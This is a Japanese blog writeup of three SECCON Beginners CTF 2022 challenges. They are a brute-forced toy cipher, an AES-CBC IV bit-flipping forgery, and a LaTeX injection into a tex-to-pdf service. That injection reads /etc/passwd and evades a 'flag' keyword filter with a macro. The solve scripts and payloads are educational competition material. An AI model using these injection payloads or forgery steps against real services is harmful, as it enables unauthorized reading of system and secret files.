izumo’s diary

主に競プロの精進記録

SECCON Beginners CTF 2022 writeup

SECCON Beginners CTF 2022にHelloJapwnとして参加し、891チーム中8位でした。
順位はチームメンバーのおかげなので、一緒に出てくれた2人に感謝。
ここでは自分が解いた3問のwriteupを書きます。

目次

CoughingFox [crypto][beginner]

flagの暗号化に使用したproblem.pyとその出力のoutput.txtが与えられる。

from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
    f = flag[i]
    c = (f + i)**2 + i
    cipher.append(c)

shuffle(cipher)
print("cipher =", cipher)

これはflagを1文字ずつ次のように変換している。
\mathrm{cipher_i}=\left(\mathrm{flag}_i +i\right)^2+i
flagで使う文字は\x20-\x7eであることと、output.txtからflagの長さが49であることを考えると、cipherに出てくる数字は同じになることはない。
\left( \because 33^2-32^2=65\gt 49\right)
よって以下のように、あり得る文字を全探索すればよい。

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

flag = []

for i in range(0, len(cipher)):
    for c in cipher:
        for s in range(0x20, 0x7f):
            if (s+i)**2 + i == c:
                flag.append(s)

for f in flag:
    print(chr(f), end="")
$ python solve.py
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

Command [crypto][easy]

サーバで動いているchal.pyが与えられる。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import isPrime
from secret import FLAG, key
import os


def main():
    while True:
        print('----- Menu -----')
        print('1. Encrypt command')
        print('2. Execute encrypted command')
        print('3. Exit')
        select = int(input('> '))

        if select == 1:
            encrypt()
        elif select == 2:
            execute()
        elif select == 3:
            break
        else:
            pass

        print()


def encrypt():
    print('Available commands: fizzbuzz, primes, getflag')
    cmd = input('> ').encode()

    if cmd not in [b'fizzbuzz', b'primes', b'getflag']:
        print('unknown command')
        return

    if b'getflag' in cmd:
        print('this command is for admin')
        return

    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    enc = cipher.encrypt(pad(cmd, 16))
    print(f'Encrypted command: {(iv+enc).hex()}')


def execute():
    inp = bytes.fromhex(input('Encrypted command> '))
    iv, enc = inp[:16], inp[16:]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    try:
        cmd = unpad(cipher.decrypt(enc), 16)
        if cmd == b'fizzbuzz':
            fizzbuzz()
        elif cmd == b'primes':
            primes()
        elif cmd == b'getflag':
            getflag()
    except ValueError:
        pass


def fizzbuzz():
    for i in range(1, 101):
        if i % 15 == 0:
            print('FizzBuzz')
        elif i % 3 == 0:
            print('Fizz')
        elif i % 5 == 0:
            print('Buzz')
        else:
            print(i)


def primes():
    for i in range(1, 101):
        if isPrime(i):
            print(i)


def getflag():
    print(FLAG)


if __name__ == '__main__':
    main()

コマンドを入力して暗号化した値を出力させるか、暗号文を入力して復号したコマンドを実行させることができる。
入力できるコマンドは"fizzbuzz", "primes", "getflag"の3つで、"fizzbuzz"は1から100までのfizzbuzzを出力し、"primes"は1から100までの素数を出力し、"getflag"はFLAGを出力するコマンドである。
ただ、getflagは暗号化してくれないため、自分で暗号文を求める必要がある。

最初はpadding oracleなどを考えていたが、エラーを出力してくれないので使うことができない。
よくよく考えてみると"fizzbuzz"はAESのブロックサイズ(128 bit)より小さく、一つのブロックしか使わない。
ということは"fizzbuzz"の暗号文を用いれば、iv(初期ベクトル)を変えることで128 bit以下の任意の文字列に復号させることができる。
"getflag"に復号されるivを以下のように求めた。

from Crypto.Util.Padding import pad, unpad

def byte_xor(ba1, ba2):
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])

inp = bytes.fromhex("a41af64aa18aacbb23ac806c138f89a975516d656a3a222eea7a28e9f079ae5e")
iv, enc = inp[:16], inp[16:]

fizzbuzz=pad("fizzbuzz".encode(), 16)
getflag=pad("getflag".encode(), 16)

x=byte_xor(fizzbuzz, iv)
c=byte_xor(x, getflag)

print(c.hex())
$ python solve.py
a516f856af9eb1c822ad816d128e88a8
$ nc command.quals.beginners.seccon.jp 5555
----- Menu -----
1. Encrypt command
2. Execute encrypted command
3. Exit
> 1
Available commands: fizzbuzz, primes, getflag
> fizzbuzz
Encrypted command: a41af64aa18aacbb23ac806c138f89a975516d656a3a222eea7a28e9f079ae5e

----- Menu -----
1. Encrypt command
2. Execute encrypted command
3. Exit
> 2
Encrypted command> a516f856af9eb1c822ad816d128e88a875516d656a3a222eea7a28e9f079ae5e
ctf4b{b1tfl1pfl4ppers}

textex [web][easy]

texを入力するとpdfに変換してくれるwebサービスが与えられる。appと同じディレクトリにflagがある。

チームメンバーが見つけたのだが、以下のようにすればファイルの中身をpdfに表示させることができる。

\documentclass{article}
\begin{document}

$$ \input{/etc/passwd} $$

\end{document}

ただし、flagという文字が含まれる場合、pdfに変換してくれずエラーとなる。
回避する色々やり方はあり、自分は変数を使った。

\documentclass{article}
\begin{document}

\newcommand{\variable}[1]{fla#1}

$$ \input{../../\variable{g}} $$

\end{document}


texでは{や_が表示されないことに注意すればflagは以下だとわかる。

ctf4b{15_73x_pr0n0unc3d_ch0u?}